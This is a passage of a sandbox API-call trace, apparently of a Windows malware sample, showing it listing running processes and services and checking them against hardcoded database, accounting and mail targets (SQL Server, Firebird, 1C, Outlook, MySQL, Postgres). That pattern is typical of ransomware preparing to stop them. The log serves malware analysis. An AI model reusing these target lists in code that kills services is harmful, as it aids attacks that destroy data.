	[0090.967] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0090.968] lstrlenW (lpString="dllhost.exe") returned 11
	[0090.968] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0090.969] lstrlenW (lpString="p.exe") returned 5
	[0090.969] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0090.970] lstrlenW (lpString="cmd.exe") returned 7
	[0090.970] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0090.971] lstrlenW (lpString="conhost.exe") returned 11
	[0090.971] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0090.972] CloseHandle (hObject=0x174) returned 1
	[0090.972] Sleep (dwMilliseconds=0x1f4) 
	[0091.792] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0a38
	[0091.793] EnumServicesStatusExW (in: hSCManager=0x35d0a38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0091.793] GetLastError () returned 0xea
	[0091.793] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x11e4) returned 0x36b21f8
	[0091.793] EnumServicesStatusExW (in: hSCManager=0x35d0a38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36b21f8, cbBufSize=0x11e4, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36b21f8, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0091.794] CloseServiceHandle (hSCObject=0x35d0a38) returned 1
	[0091.794] lstrlenW (lpString="Appinfo") returned 7
	[0091.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0091.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0091.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0091.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0091.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0091.794] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0091.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0091.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0091.794] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0091.794] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0091.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0091.794] lstrlenW (lpString="AudioSrv") returned 8
	[0091.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0091.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0091.794] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0091.794] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0091.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0091.794] lstrlenW (lpString="BFE") returned 3
	[0091.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0091.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0091.795] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0091.795] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0091.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0091.795] lstrlenW (lpString="CryptSvc") returned 8
	[0091.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0091.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0091.795] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0091.795] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0091.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0091.795] lstrlenW (lpString="CscService") returned 10
	[0091.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0091.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0091.795] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0091.795] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0091.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0091.795] lstrlenW (lpString="DcomLaunch") returned 10
	[0091.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0091.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0091.795] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0091.795] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0091.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0091.795] lstrlenW (lpString="Dhcp") returned 4
	[0091.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0091.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0091.795] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0091.795] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0091.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0091.795] lstrlenW (lpString="Dnscache") returned 8
	[0091.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0091.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0091.796] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0091.796] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0091.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0091.796] lstrlenW (lpString="DPS") returned 3
	[0091.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0091.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0091.796] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0091.796] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0091.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0091.796] lstrlenW (lpString="eventlog") returned 8
	[0091.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0091.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0091.796] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0091.796] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0091.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0091.796] lstrlenW (lpString="EventSystem") returned 11
	[0091.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0091.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0091.796] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0091.796] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0091.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0091.796] lstrlenW (lpString="gpsvc") returned 5
	[0091.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0091.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0091.796] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0091.796] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0091.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0091.797] lstrlenW (lpString="iphlpsvc") returned 8
	[0091.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0091.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0091.797] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0091.797] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0091.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0091.797] lstrlenW (lpString="LanmanServer") returned 12
	[0091.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0091.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0091.797] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0091.797] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0091.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0091.797] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0091.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0091.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0091.797] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0091.797] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0091.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0091.797] lstrlenW (lpString="lmhosts") returned 7
	[0091.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0091.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0091.797] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0091.797] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0091.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0091.797] lstrlenW (lpString="MMCSS") returned 5
	[0091.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0091.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0091.798] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0091.798] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0091.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0091.798] lstrlenW (lpString="MpsSvc") returned 6
	[0091.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0091.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0091.798] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0091.798] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0091.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0091.798] lstrlenW (lpString="Netman") returned 6
	[0091.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0091.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0091.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0091.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0091.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0091.803] lstrlenW (lpString="netprofm") returned 8
	[0091.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0091.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0091.803] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0091.803] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0091.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0091.803] lstrlenW (lpString="NlaSvc") returned 6
	[0091.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0091.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0091.803] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0091.803] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0091.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0091.803] lstrlenW (lpString="nsi") returned 3
	[0091.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0091.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0091.803] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0091.803] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0091.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0091.803] lstrlenW (lpString="PcaSvc") returned 6
	[0091.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0091.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0091.804] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0091.804] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0091.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0091.804] lstrlenW (lpString="PlugPlay") returned 8
	[0091.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0091.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0091.804] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0091.804] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0091.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0091.804] lstrlenW (lpString="Power") returned 5
	[0091.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0091.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0091.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0091.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0091.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0091.804] lstrlenW (lpString="ProfSvc") returned 7
	[0091.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0091.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0091.804] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0091.804] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0091.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0091.804] lstrlenW (lpString="RpcEptMapper") returned 12
	[0091.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0091.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0091.804] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0091.804] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0091.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0091.805] lstrlenW (lpString="RpcSs") returned 5
	[0091.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0091.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0091.805] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0091.805] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0091.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0091.805] lstrlenW (lpString="SamSs") returned 5
	[0091.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0091.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0091.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0091.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0091.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0091.805] lstrlenW (lpString="Schedule") returned 8
	[0091.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0091.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0091.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0091.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0091.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0091.805] lstrlenW (lpString="SENS") returned 4
	[0091.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0091.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0091.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0091.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0091.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0091.806] lstrlenW (lpString="ShellHWDetection") returned 16
	[0091.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0091.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0091.806] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0091.806] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0091.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0091.806] lstrlenW (lpString="Spooler") returned 7
	[0091.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0091.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0091.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0091.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0091.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0091.806] lstrlenW (lpString="SysMain") returned 7
	[0091.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0091.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0091.806] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0091.806] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0091.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0091.806] lstrlenW (lpString="Themes") returned 6
	[0091.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0091.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0091.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0091.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0091.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0091.806] lstrlenW (lpString="TrkWks") returned 6
	[0091.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0091.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0091.807] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0091.807] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0091.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0091.807] lstrlenW (lpString="UxSms") returned 5
	[0091.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0091.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0091.807] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0091.807] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0091.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0091.807] lstrlenW (lpString="WdiServiceHost") returned 14
	[0091.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0091.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0091.807] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0091.807] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0091.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0091.807] lstrlenW (lpString="WdiSystemHost") returned 13
	[0091.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0091.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0091.807] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0091.807] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0091.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0091.807] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0091.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0091.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0091.807] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0091.807] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0091.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0091.808] lstrlenW (lpString="Winmgmt") returned 7
	[0091.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0091.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0091.808] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0091.808] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0091.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0091.808] lstrlenW (lpString="WPDBusEnum") returned 10
	[0091.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0091.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0091.808] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0091.808] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0091.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0091.808] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x36b21f8 | out: hHeap=0x4a0000) returned 1
	[0091.808] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac
	[0091.812] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0091.813] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0091.814] lstrlenW (lpString="System") returned 6
	[0091.814] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0091.814] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0091.814] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0091.814] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0091.814] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0091.814] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0091.814] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0091.814] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0091.815] lstrlenW (lpString="smss.exe") returned 8
	[0091.815] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0091.815] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0091.815] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0091.815] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0091.815] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0091.815] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0091.815] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0091.815] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0091.816] lstrlenW (lpString="csrss.exe") returned 9
	[0091.816] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
